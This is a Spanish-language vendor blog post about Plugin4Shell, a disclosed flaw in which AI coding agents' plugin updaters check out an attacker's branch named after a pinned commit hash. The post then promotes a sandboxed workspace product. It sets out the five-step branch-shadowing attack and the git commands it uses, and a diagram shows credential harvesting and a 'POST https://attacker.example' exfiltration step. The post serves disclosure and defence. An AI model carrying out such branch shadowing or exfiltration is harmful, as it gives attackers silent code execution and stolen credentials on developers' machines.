Volver a todas las publicaciones
Publicado el · por Renaud Deraison

El commit era una rama

Air divulgó Plugin4Shell el 17 de septiembre: los marketplaces de plugins de Claude Code, Codex, Gemini CLI y Copilot fijan cada plugin a un hash de commit de cuarenta caracteres, y los agentes hacen checkout de ese hash sin confirmar nunca que es lo que recibieron. Un atacante que nombra una rama igual que el hash fijado gana el checkout, y el actualizador en segundo plano hace el resto, sin aviso y sin clic. Anthropic y OpenAI parchearon. Google no lo hará, y Microsoft no lo ha hecho. En un workspace de Bromure Agentic Coding, el código que gana el checkout aterriza en una VM que solo guarda credenciales señuelo, detrás de una política de push y de un conjunto de reglas de egreso aplicados en el host.

Todas las guías de cadena de suministro dicen que fijes las dependencias a un hash, porque un número de versión es una etiqueta que alguien puede mover y un hash es el contenido mismo. Cuatro agentes de código siguieron ese consejo. Ninguno comprobó que el hash fuera lo que recibió.

Un plugin pasa la revisión. Lo lees tú, o lo lee tu equipo de plataforma, y entra en la lista aprobada fijado a un commit: cuarenta caracteres hexadecimales que solo pueden describir un árbol, porque cambiar el árbol cambia los caracteres. Ese es el atractivo. Cualquiera con el acceso adecuado puede mover una etiqueta o republicar una versión, pero se supone que un hash de commit es un hecho.

El 17 de septiembre, tres investigadores de Air (Or Nevo, Dor Granat y Niv Hoffman) publicaron Plugin4Shell. Su hallazgo: la fijación vale solo lo que valga aquello que la resuelve, y el resolvedor de cuatro grandes agentes de código no comprueba su propio trabajo. The Register lo cubrió el mismo día. Claude Code, el Codex de OpenAI, el Gemini CLI de Google y el Copilot de Microsoft están todos afectados.

Git prefiere la ref

Un hash de commit es contenido, y también es un nombre. Las ramas y las etiquetas también lo son, y git las resuelve todas con la misma búsqueda. Dale a git una cadena que sea a la vez nombre de rama e id de objeto y tendrá que elegir; elige la rama. Los investigadores lo resumen en una línea: “cuando un nombre es a la vez una ref válida y un id de objeto, git prefiere la ref”.

Git sí avisa. Imprime una nota de ambigüedad para esa referencia, en una terminal que no estás leyendo, porque quien ejecuta el checkout es un actualizador en segundo plano.

Los nombres de rama de git admiten cuarenta caracteres hexadecimales. Un atacante que controla el repositorio del plugin crea una rama con el mismo nombre que fijó el marketplace y la convierte en la rama por defecto. El clon se trae esa rama junto al commit del mismo nombre. Entonces el agente ejecuta su checkout:

git clone <plugin repo> ./
git checkout aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

El checkout aterriza en la rama. Gemini CLI llega al mismo sitio por otro camino: obtiene el commit correcto con --ref y luego ejecuta git checkout FETCH_HEAD, que resuelve a una rama llamada FETCH_HEAD si el repositorio tiene una.

Un nombre, dos cosas que puede significarfijación del marketplaceaaaaaaaa…aaaarevisado, anotado, intactoid de objeto en el repositorioaaaaaaaa…aaaael código que pasó la revisiónrama, los mismos cuarenta caracteresrefs/heads/aaaaaaaa…aaaalo que el atacante haya subidogit checkout aaaa…aaaaresuelve a la ramaaviso impreso, nadie leyendoEl agente nunca pregunta qué ha sacado en realidad. Un solo comando lo haría: git rev-parse HEAD.
Una cadena, dos significados. El commit aaa…aaa y una rama llamada aaa…aaa existen los dos en el repositorio clonado. git checkout tiene que elegir, y elige la ref. El marketplace sigue registrando la misma fijación, y el árbol en disco pertenece a otra persona.

Cinco pasos, y el último no tiene clic

Los investigadores exponen el ataque en cinco movimientos, y los tres primeros son cosas que un marketplace bien llevado hace a propósito.

Plantar. Publicar un plugin benigno. Pasa la revisión en el commit aaa…aaa porque no tiene nada malo.

Adopción. Los desarrolladores lo instalan, fijado al commit revisado. Este es el paso en el que haces lo que las guías te dicen que hagas.

Cambio de versión. El marketplace refija a un commit más nuevo, bbb…bbb, también benigno y también revisado.

Rug-pull. El atacante crea una rama llamada bbb…bbb, la pone por defecto y la apunta a código malicioso. No republica nada y el registro del marketplace no se mueve. Los cuarenta caracteres que irías a comprobar son los cuarenta caracteres que ya comprobaste.

De la actualización automática al RCE. Claude Code y Codex actualizan los plugins instalados en segundo plano por defecto. La siguiente actualización programada hace checkout de la rama. Air describe ese paso como “sin aviso, sin clic”.

Plugin4Shell, paso a pasoquién actúa1se publica un plugin benigno y pasa la revisión en el commit aaa…aaaen este punto no hay nada malo en el códigomarketplace2los desarrolladores lo instalan, fijado al commit revisadoesta es la práctica recomendada, seguida correctamente3el marketplace refija a un commit más nuevo, bbb…bbbtambién benigno, también revisadomarketplace4se crea una rama llamada bbb…bbb y se pone por defectono se republica nada; la fijación registrada no se mueveatacante5el actualizador en segundo plano hace checkout de la ramaejecución de código en la máquina del desarrollador — sin aviso, sin clicel agente
Los pasos uno a tres son el marketplace funcionando como se diseñó, y el paso dos es el desarrollador siguiendo el consejo estándar. El ataque son los pasos cuatro y cinco, y ninguno de los dos le pide al desarrollador que apruebe nada.

Hay una segunda puerta de entrada que se salta la plantación: tomar el repositorio de un autor de plugin legítimo y empujar la versión maliciosa a todos los agentes que ya tienen el plugin instalado. El truco de la rama es el mismo, y no hay revisión que pasar.

Air describe el resultado como “ejecución remota de código completa en la máquina del empleado”, corriendo con los permisos de ese empleado. El atacante no necesita escalar privilegios. El código corre como la persona dueña del portátil, y alcanza sus archivos y su acceso a producción.

Es la tercera vez que estos investigadores cuentan la misma forma. Su trabajo anterior sobre skills de agente maliciosas describe una que alcanzó a más de 26.000 agentes, y una campaña de secuestro que se hizo con 925 skills ya en uso en 134.000 agentes. Aquellas campañas necesitaban que instalaras algo malo; esta necesitaba que instalaras algo bueno y esperaras.

Dos de los cuatro no tienen parche

Air informó a los cuatro fabricantes en junio.

Anthropic parcheó Claude Code el 17 de junio, en la versión 2.1.179. La corrección de OpenAI llegó en Codex 0.146.0 y se verificó el 12 de agosto. Google respondió el 4 de agosto que Gemini CLI está descontinuado y no se parcheará. Google remite a los usuarios a Antigravity, así que una instalación de Gemini CLI que siga en disco sigue siendo vulnerable. Microsoft no entregó nada para Copilot. GitHub dice que su propia plataforma bloquea nombres de rama y de etiqueta que parezcan SHA de commit, lo que cubre los plugins alojados en GitHub y no hace nada por un repositorio de plugin alojado en otro sitio, Bitbucket incluido. The Register señala, usando la cifra de la propia Microsoft, que casi el 90 % de las empresas del Fortune 500 usan Copilot.

La corrección en sí es una línea, y tiene que ejecutarse dentro del agente:

test "$(git rev-parse HEAD)" = "<pinned-sha>" || abort

Resolver el commit que aterrizó en el árbol de trabajo, y negarse a continuar si no coincide. Ningún marketplace puede hacer esto por ti, porque es tu agente quien resuelve la fijación en tu máquina, después de que el marketplace haya terminado de hablar.

Para un buen número de desarrolladores que leen esto hoy, “actualiza tu agente” no es una respuesta disponible. Queda la otra pregunta: ¿qué encuentra el código cuando gana el checkout y empieza a ejecutarse?

Dentro de un workspace de Bromure Agentic Coding

La frase de Air, corriendo con los permisos del empleado, es exacta. Un workspace existe para hacerla falsa.

En Bromure Agentic Coding, el agente corre dentro de una VM Linux virtualizada por hardware en tu Mac, y la VM nunca guarda una credencial real. Al arrancar la sesión, la app escribe señuelos que preservan la estructura en el entorno donde corre el agente: ANTHROPIC_API_KEY, GH_TOKEN, LINEAR_API_KEY y el resto como variables de entorno, y falsificaciones equivalentes en ~/.git-credentials, ~/.docker/config.json, ~/.kube/config, ~/.aws/config y los archivos de configuración MCP del agente. Cada señuelo mantiene la forma que sus herramientas esperan, así que las herramientas lo aceptan: un señuelo de GitHub es ghp_ más 36 caracteres, uno de Anthropic empieza por sk-ant-api03-brm-, un token bearer de Kubernetes empieza por brm-k8s-. Bromure deriva cada uno del valor real mediante HKDF-SHA256 con una sal por instalación, lo que lo mantiene estable entre sesiones y sin valor para quien lo recoja.

Los valores reales están cifrados en el host. Un proxy del lado del host los sustituye en el cable después de que la petición haya salido de la VM, y solo cuando el destino coincide con el host para el que se acuñó esa credencial. Un plugin que barre el directorio personal en busca de archivos de configuración, que es lo primero que hace esta clase de carga útil, recoge un conjunto de señuelos bien formados.

Tras el checkout: los mismos tres movimientos, dos vecesuna máquina de desarrollador corrienteleer el directorio personalsk-ant-api03-… ghp_… AKIA…claves reales, tokens reales, kubeconfig realfuncionaempujar a los repositorios que alcanzagit push → git-receive-packlas credenciales git del propio desarrolladorfuncionaenviar la recolecta a alguna partePOST https://attacker.exampleHTTPS saliente corriente, nada en mediofuncionaun workspace de Bromure Agentic Codingleer el directorio personalsk-ant-api03-brm-… ghp_… brm-k8s-…señuelos; los reales están en el hostseñuelosempujar a los repositorios que alcanzagit-receive-pack = escriturabloqueado, o un diálogo del host que respondespolíticaenviar la recolecta a alguna parte451 — ni un byte reenviadoregla de egreso, y luego la VM se pausadetenido
El mismo checkout, el mismo plugin malicioso, dos máquinas. En un portátil corriente el código hereda las credenciales reales del desarrollador y alcanza todo lo que él alcanza. En un workspace las credenciales que lee son señuelos, el push que intenta se topa con una política de escritura del lado del host, y la llamada a casa se topa con una regla de egreso que el invitado no puede editar.

El push tiene que aprobarse en el host

Lo más valioso que un plugin comprometido puede hacer en la máquina de un desarrollador es empujar. Así es como un portátil se convierte en cien repositorios.

Guardrails clasifica cada llamada que el agente hace a GitHub. Un git push por HTTPS llega al proxy como git-receive-pack, que cuenta como escritura. El modo solo lectura lo rechaza. El modo preguntar antes de escribir levanta un diálogo en tu Mac, titulado Allow write on "<scope>" from workspace "<name>"?, que muestra la operación tal cual en lugar de un resumen. Un git fetch cuenta como lectura y pasa sin interrumpirte.

La clasificación corre en el proxy del host, fuera de la VM. El código dentro del invitado no puede apagarla ni rodearla, porque no corre en la máquina que toma la decisión.

La llamada a casa se topa con una regla que el invitado no puede editar

Cada workspace tiene un cortafuegos de egreso: una lista ordenada, al estilo pf, de reglas de permiso y denegación sobre host, rango de IP, protocolo, puerto y, para el tráfico web, el verbo HTTP individual. allow web api.example.com GET,POST le da al agente consultas sin mutaciones, en el cable, sin importar qué herramienta dentro de la VM haga la petición.

Dos capas lo aplican. El conmutador de red virtual aplica las reglas a cada flujo por IP de destino y por nombre de host espiado en el DNS, cubriendo TCP y UDP simples además de HTTPS. El proxy las aplica de nuevo por nombre de servidor TLS y método HTTP. Bromure desvía el tráfico de los puertos 80 y 443 de la VM hacia el proxy sin la cooperación del invitado, así que nada de dentro puede librarse de la inspección. Tus ediciones alcanzan las sesiones en curso al instante, lo que importa el día en que lees una divulgación como esta.

Debajo de eso está el detector de compromiso, activado por defecto y sin nada que configurar. El proxy examina cada petición saliente en una sola pasada buscando los tokens señuelo acuñados para ese workspace. Un señuelo dirigido a un host para el que nunca se acuñó es la firma de una exfiltración, y el proxy le responde con un HTTP 451 sin reenviar ni un byte. Pausa la VM en el acto y lanza una alerta que ofrece apagar el workspace, exportar el disco y la carpeta personal para investigar, o continuar por tu cuenta y riesgo. Bromure marca el workspace como comprometido, y el siguiente arranque borra el disco de la VM y la carpeta personal conservando tus tokens, claves SSH y ajustes del workspace. Solo se fue el señuelo, así que no hay nada que rotar.

Cero clics significa que no hay nada que notar

La propiedad más afilada del paso cinco es su silencio. Una actualización de plugin en segundo plano no produce ni aviso ni llamada a herramienta, así que la propia interfaz del agente no le da al desarrollador nada que pillar. El punto de Air es que el exploit corre en la parte del sistema que no tienes motivo para vigilar.

Un workspace mueve la vigilancia a otro sitio. Los motores de seguridad escriben cada decisión como una fila en la ventana Security Timeline de tu Mac: veredictos del cortafuegos (evil.example:443 tcp — blocked), aplicaciones de Guardrails (DELETE api.github.com/repos/… — blocked), credential brokering incluida la fila roja blocked — exfiltration attempt, VM paused, además de veredictos de cadena de suministro y aciertos de inyección de prompt, con colores y filtrables. Una sesión también puede grabar una traza cifrada de los comandos que se ejecutaron y de los hosts que alcanzó.

Un plugin que se actualizó solo sin decírtelo todavía tiene que hacer peticiones, y cada una cruza una frontera que lleva sus propias notas al otro lado del hipervisor.

Comprueba primero la versión de tu agente

Claude Code 2.1.179 y Codex 0.146.0 contienen la corrección. Si usas Gemini CLI, no la habrá. Si usas Copilot, todavía no la hay.

Desactiva la autoactualización de plugins donde puedas

La propiedad de cero clics viene del actualizador en segundo plano. Las actualizaciones manuales devuelven a un humano al bucle en el paso cinco.

Verifica tú mismo el checkout en la CI

git rev-parse HEAD después de un checkout fijado, comparado con la fijación, es la misma comprobación de una línea que los fabricantes tuvieron que añadir. Funciona en cualquier sitio donde clones por SHA.

Da por hecho que alguien gana el checkout

La fijación, la revisión y la curación del marketplace aguantaron todas aquí y el ataque entró igualmente. El desenlace descansa entonces en lo que el código ganador puede alcanzar.

Plugin4Shell atrapa al desarrollador cuidadoso en los mismos términos que al descuidado. Quien instaló lo que estaba de moda no salió peor parado que quien leyó el código fuente, fijó el hash y anotó la fijación. El direccionamiento por contenido debía proteger a ese segundo desarrollador, y no lo hizo, porque git resuelve la dirección mediante una búsqueda que también usa esos caracteres para otra cosa.

Sigue fijando. Y luego da por hecho que un control que se apoya en una búsqueda o en una coincidencia de nombres recibirá algún día la respuesta equivocada mientras duermes. Diseña para esa mañana: ejecuta el agente en algún sitio que no guarde ninguna clave que merezca la pena llevarse, y mantén el registro de lo que hizo al otro lado de una frontera que el código no puede alcanzar.